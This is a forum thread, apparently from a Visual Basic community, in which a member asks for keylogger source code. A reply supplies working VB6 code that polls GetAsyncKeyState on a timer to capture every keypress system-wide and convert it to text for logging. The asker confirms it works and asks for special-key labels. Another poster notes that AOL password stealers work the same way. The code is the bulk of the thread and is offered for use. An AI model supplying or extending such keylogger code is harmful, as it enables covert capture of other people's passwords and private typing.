Results 1 to 5 of 5

Thread: Key Logger

  1. #1

    Thread Starter
    Addicted Member
    Join Date
    Aug 2000
    Location
    Australia
    Posts
    149

    Question

    Hi,
    Could someone please help me know how to make a simple key logger, if anyone knows of an example with source code it would be much appreciated.

    Thanks very much

    Hurgh

  2. #2
    Guest
    This code was written by Aaron Young
    Code:
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
    Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
    
    Private Const VK_SHIFT = &H10   'Used by Win9x
    Private Const VK_LSHIFT = &HA0  'Used by NT
    Private Const VK_RSHIFT = &HA1  'Used by NT
    
    Private Sub Form_Load()
        Dim iKey As Integer
        
        'First flush the Buffer of any residual key presses
        For iKey = 0 To 255
            While GetAsyncKeyState(iKey)
            Wend
        Next
        
        'Need a Very Low Interval to Ensure the Keys are Captured in the Correct Order
        Timer1.Interval = 1
        Timer1.Enabled = True
    End Sub
    
    Private Sub Timer1_Timer()
        Dim iKey As Integer
        Dim iAsc As Long
        Dim bKeys(255) As Byte
        
        For iKey = 1 To 255
            'Use GetAsyncKeyState to Monitor Keypress From Anywhere in the O/S.
            If GetAsyncKeyState(iKey) And iKey <> VK_LSHIFT And iKey <> VK_RSHIFT And iKey <> VK_SHIFT Then Exit For
        Next
        If iKey < 256 Then
            'Get the Current Keyboard State For the Shift Keys Etc..
            Call GetKeyboardState(bKeys(0))
            While GetAsyncKeyState(iKey)
                'Wait for Key to be Released
            Wend
            'Conver the Key to it's ASCII Equivilant
            Call ToAscii(iKey, 0&, bKeys(0), iAsc, 0&)
            If iAsc Then
                'Store Keypress to Log Here
                Debug.Print Chr(iAsc);
            End If
        End If
    End Sub

  3. #3

    Thread Starter
    Addicted Member
    Join Date
    Aug 2000
    Location
    Australia
    Posts
    149
    Thanks for the help it works well,
    just one last thing,
    can it be made to include if the user preses the insert key to display [Insert] and etc for the rest of the special keys?

    Thanks

    Hurgh

  4. #4
    Fanatic Member
    Join Date
    Jun 1999
    Location
    California, USA
    Posts
    662
    I've seen aol password stealers that work this way.

  5. #5

    Thread Starter
    Addicted Member
    Join Date
    Aug 2000
    Location
    Australia
    Posts
    149
    Sorry Not a PW hacker.

    Hurgh

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width